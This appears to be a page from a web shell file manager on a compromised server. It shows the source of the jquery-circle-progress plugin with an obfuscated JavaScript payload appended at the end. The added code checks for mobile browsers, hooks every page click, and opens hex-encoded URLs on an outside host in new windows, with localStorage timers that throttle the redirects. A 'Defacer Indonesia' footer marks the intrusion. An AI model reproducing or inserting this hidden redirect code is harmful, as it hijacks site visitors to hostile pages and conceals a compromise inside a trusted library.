whoami7 - Manager
:
/
home
/
kckglobal
/
.trash
/
assets
/
plugins
/
jquery-circle-progress
/
Upload File:
files >> //home/kckglobal/.trash/assets/plugins/jquery-circle-progress/circle-progress.js
/** * jquery-circle-progress - jQuery Plugin to draw animated circular progress bars: * {@link http://kottenator.github.io/jquery-circle-progress/} * * @author Rostyslav Bryzgunov <kottenator@gmail.com> * @version 1.2.2 * @licence MIT * @preserve */ // UMD factory - https://github.com/umdjs/umd/blob/d31bb6ee7098715e019f52bdfe27b3e4bfd2b97e/templates/jqueryPlugin.js // Uses AMD, CommonJS or browser globals to create a jQuery plugin. (function(factory) { if (typeof define === 'function' && define.amd) { // AMD - register as an anonymous module define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS var $ = require('jquery'); factory($); module.exports = $; } else { // Browser globals factory(jQuery); } })(function($) { /** * Inner implementation of the circle progress bar. * The class is not exposed _yet_ but you can create an instance through jQuery method call. * * @param {object} config - You can customize any class member (property or method). * @class * @alias CircleProgress */ function CircleProgress(config) { this.init(config); } CircleProgress.prototype = { //--------------------------------------- public options --------------------------------------- /** * This is the only required option. It should be from `0.0` to `1.0`. * @type {number} * @default 0.0 */ value: 0.0, /** * Size of the canvas in pixels. * It's a square so we need only one dimension. * @type {number} * @default 100.0 */ size: 100.0, /** * Initial angle for `0.0` value in radians. * @type {number} * @default -Math.PI */ startAngle: -Math.PI, /** * Width of the arc in pixels. * If it's `'auto'` - the value is calculated as `[this.size]{@link CircleProgress#size} / 14`. * @type {number|string} * @default 'auto' */ thickness: 'auto', /** * Fill of the arc. You may set it to: * * - solid color: * - `'#3aeabb'` * - `{ color: '#3aeabb' }` * - `{ color: 'rgba(255, 255, 255, .3)' }` * - linear gradient _(left to right)_: * - `{ gradient: ['#3aeabb', '#fdd250'], gradientAngle: Math.PI / 4 }` * - `{ gradient: ['red', 'green', 'blue'], gradientDirection: [x0, y0, x1, y1] }` * - `{ gradient: [["red", .2], ["green", .3], ["blue", .8]] }` * - image: * - `{ image: 'http://i.imgur.com/pT0i89v.png' }` * - `{ image: imageObject }` * - `{ color: 'lime', image: 'http://i.imgur.com/pT0i89v.png' }` - * color displayed until the image is loaded * * @default {gradient: ['#3aeabb', '#fdd250']} */ fill: { gradient: ['#3aeabb', '#fdd250'] }, /** * Color of the "empty" arc. Only a color fill supported by now. * @type {string} * @default 'rgba(0, 0, 0, .1)' */ emptyFill: 'rgba(0, 0, 0, .1)', /** * jQuery Animation config. * You can pass `false` to disable the animation. * @see http://api.jquery.com/animate/ * @type {object|boolean} * @default {duration: 1200, easing: 'circleProgressEasing'} */ animation: { duration: 1200, easing: 'circleProgressEasing' }, /** * Default animation starts at `0.0` and ends at specified `value`. Let's call this _direct animation_. * If you want to make _reversed animation_ - set `animationStartValue: 1.0`. * Also you may specify any other value from `0.0` to `1.0`. * @type {number} * @default 0.0 */ animationStartValue: 0.0, /** * Reverse animation and arc draw. * By default, the arc is filled from `0.0` to `value`, _clockwise_. * With `reverse: true` the arc is filled from `1.0` to `value`, _counter-clockwise_. * @type {boolean} * @default false */ reverse: false, /** * Arc line cap: `'butt'`, `'round'` or `'square'` - * [read more]{@link https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D.lineCap}. * @type {string} * @default 'butt' */ lineCap: 'butt', /** * Canvas insertion mode: append or prepend it into the parent element? * @type {string} * @default 'prepend' */ insertMode: 'prepend', //------------------------------ protected properties and methods ------------------------------ /** * Link to {@link CircleProgress} constructor. * @protected */ constructor: CircleProgress, /** * Container element. Should be passed into constructor config. * @protected * @type {jQuery} */ el: null, /** * Canvas element. Automatically generated and prepended to [this.el]{@link CircleProgress#el}. * @protected * @type {HTMLCanvasElement} */ canvas: null, /** * 2D-context of [this.canvas]{@link CircleProgress#canvas}. * @protected * @type {CanvasRenderingContext2D} */ ctx: null, /** * Radius of the outer circle. Automatically calculated as `[this.size]{@link CircleProgress#size} / 2`. * @protected * @type {number} */ radius: 0.0, /** * Fill of the main arc. Automatically calculated, depending on [this.fill]{@link CircleProgress#fill} option. * @protected * @type {string|CanvasGradient|CanvasPattern} */ arcFill: null, /** * Last rendered frame value. * @protected * @type {number} */ lastFrameValue: 0.0, /** * Init/re-init the widget. * * Throws a jQuery event: * * - `circle-inited(jqEvent)` * * @param {object} config - You can customize any class member (property or method). */ init: function(config) { $.extend(this, config); this.radius = this.size / 2; this.initWidget(); this.initFill(); this.draw(); this.el.trigger('circle-inited'); }, /** * Initialize `<canvas>`. * @protected */ initWidget: function() { if (!this.canvas) this.canvas = $('<canvas>')[this.insertMode == 'prepend' ? 'prependTo' : 'appendTo'](this.el)[0]; var canvas = this.canvas; canvas.width = this.size; canvas.height = this.size; this.ctx = canvas.getContext('2d'); if (window.devicePixelRatio > 1) { var scaleBy = window.devicePixelRatio; canvas.style.width = canvas.style.height = this.size + 'px'; canvas.width = canvas.height = this.size * scaleBy; this.ctx.scale(scaleBy, scaleBy); } }, /** * This method sets [this.arcFill]{@link CircleProgress#arcFill}. * It could do this async (on image load). * @protected */ initFill: function() { var self = this, fill = this.fill, ctx = this.ctx, size = this.size; if (!fill) throw Error("The fill is not specified!"); if (typeof fill == 'string') fill = {color: fill}; if (fill.color) this.arcFill = fill.color; if (fill.gradient) { var gr = fill.gradient; if (gr.length == 1) { this.arcFill = gr[0]; } else if (gr.length > 1) { var ga = fill.gradientAngle || 0, // gradient direction angle; 0 by default gd = fill.gradientDirection || [ size / 2 * (1 - Math.cos(ga)), // x0 size / 2 * (1 + Math.sin(ga)), // y0 size / 2 * (1 + Math.cos(ga)), // x1 size / 2 * (1 - Math.sin(ga)) // y1 ]; var lg = ctx.createLinearGradient.apply(ctx, gd); for (var i = 0; i < gr.length; i++) { var color = gr[i], pos = i / (gr.length - 1); if ($.isArray(color)) { pos = color[1]; color = color[0]; } lg.addColorStop(pos, color); } this.arcFill = lg; } } if (fill.image) { var img; if (fill.image instanceof Image) { img = fill.image; } else { img = new Image(); img.src = fill.image; } if (img.complete) setImageFill(); else img.onload = setImageFill; } function setImageFill() { var bg = $('<canvas>')[0]; bg.width = self.size; bg.height = self.size; bg.getContext('2d').drawImage(img, 0, 0, size, size); self.arcFill = self.ctx.createPattern(bg, 'no-repeat'); self.drawFrame(self.lastFrameValue); } }, /** * Draw the circle. * @protected */ draw: function() { if (this.animation) this.drawAnimated(this.value); else this.drawFrame(this.value); }, /** * Draw a single animation frame. * @protected * @param {number} v - Frame value. */ drawFrame: function(v) { this.lastFrameValue = v; this.ctx.clearRect(0, 0, this.size, this.size); this.drawEmptyArc(v); this.drawArc(v); }, /** * Draw the arc (part of the circle). * @protected * @param {number} v - Frame value. */ drawArc: function(v) { if (v === 0) return; var ctx = this.ctx, r = this.radius, t = this.getThickness(), a = this.startAngle; ctx.save(); ctx.beginPath(); if (!this.reverse) { ctx.arc(r, r, r - t / 2, a, a + Math.PI * 2 * v); } else { ctx.arc(r, r, r - t / 2, a - Math.PI * 2 * v, a); } ctx.lineWidth = t; ctx.lineCap = this.lineCap; ctx.strokeStyle = this.arcFill; ctx.stroke(); ctx.restore(); }, /** * Draw the _empty (background)_ arc (part of the circle). * @protected * @param {number} v - Frame value. */ drawEmptyArc: function(v) { var ctx = this.ctx, r = this.radius, t = this.getThickness(), a = this.startAngle; if (v < 1) { ctx.save(); ctx.beginPath(); if (v <= 0) { ctx.arc(r, r, r - t / 2, 0, Math.PI * 2); } else { if (!this.reverse) { ctx.arc(r, r, r - t / 2, a + Math.PI * 2 * v, a); } else { ctx.arc(r, r, r - t / 2, a, a - Math.PI * 2 * v); } } ctx.lineWidth = t; ctx.strokeStyle = this.emptyFill; ctx.stroke(); ctx.restore(); } }, /** * Animate the progress bar. * * Throws 3 jQuery events: * * - `circle-animation-start(jqEvent)` * - `circle-animation-progress(jqEvent, animationProgress, stepValue)` - multiple event * animationProgress: from `0.0` to `1.0`; stepValue: from `0.0` to `value` * - `circle-animation-end(jqEvent)` * * @protected * @param {number} v - Final value. */ drawAnimated: function(v) { var self = this, el = this.el, canvas = $(this.canvas); // stop previous animation before new "start" event is triggered canvas.stop(true, false); el.trigger('circle-animation-start'); canvas .css({animationProgress: 0}) .animate({animationProgress: 1}, $.extend({}, this.animation, { step: function(animationProgress) { var stepValue = self.animationStartValue * (1 - animationProgress) + v * animationProgress; self.drawFrame(stepValue); el.trigger('circle-animation-progress', [animationProgress, stepValue]); } })) .promise() .always(function() { // trigger on both successful & failure animation end el.trigger('circle-animation-end'); }); }, /** * Get the circle thickness. * @see CircleProgress#thickness * @protected * @returns {number} */ getThickness: function() { return $.isNumeric(this.thickness) ? this.thickness : this.size / 14; }, /** * Get current value. * @protected * @return {number} */ getValue: function() { return this.value; }, /** * Set current value (with smooth animation transition). * @protected * @param {number} newValue */ setValue: function(newValue) { if (this.animation) this.animationStartValue = this.lastFrameValue; this.value = newValue; this.draw(); } }; //----------------------------------- Initiating jQuery plugin ----------------------------------- $.circleProgress = { // Default options (you may override them) defaults: CircleProgress.prototype }; // ease-in-out-cubic $.easing.circleProgressEasing = function(x) { if (x < 0.5) { x = 2 * x; return 0.5 * x * x * x; } else { x = 2 - 2 * x; return 1 - 0.5 * x * x * x; } }; /** * Creates an instance of {@link CircleProgress}. * Produces [init event]{@link CircleProgress#init} and [animation events]{@link CircleProgress#drawAnimated}. * * @param {object} [configOrCommand] - Config object or command name. * * Config example (you can specify any {@link CircleProgress} property): * * ```js * { value: 0.75, size: 50, animation: false } * ``` * * Commands: * * ```js * el.circleProgress('widget'); // get the <canvas> * el.circleProgress('value'); // get the value * el.circleProgress('value', newValue); // update the value * el.circleProgress('redraw'); // redraw the circle * el.circleProgress(); // the same as 'redraw' * ``` * * @param {string} [commandArgument] - Some commands (like `'value'`) may require an argument. * @see CircleProgress * @alias "$(...).circleProgress" */ $.fn.circleProgress = function(configOrCommand, commandArgument) { var dataName = 'circle-progress', firstInstance = this.data(dataName); if (configOrCommand == 'widget') { if (!firstInstance) throw Error('Calling "widget" method on not initialized instance is forbidden'); return firstInstance.canvas; } if (configOrCommand == 'value') { if (!firstInstance) throw Error('Calling "value" method on not initialized instance is forbidden'); if (typeof commandArgument == 'undefined') { return firstInstance.getValue(); } else { var newValue = arguments[1]; return this.each(function() { $(this).data(dataName).setValue(newValue); }); } } return this.each(function() { var el = $(this), instance = el.data(dataName), config = $.isPlainObject(configOrCommand) ? configOrCommand : {}; if (instance) { instance.init(config); } else { var initialConfig = $.extend({}, el.data()); if (typeof initialConfig.fill == 'string') initialConfig.fill = JSON.parse(initialConfig.fill); if (typeof initialConfig.animation == 'string') initialConfig.animation = JSON.parse(initialConfig.animation); config = $.extend(initialConfig, config); config.el = el; instance = new CircleProgress(config); el.data(dataName, instance); } }); }; }); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Copyright ©2021 || Defacer Indonesia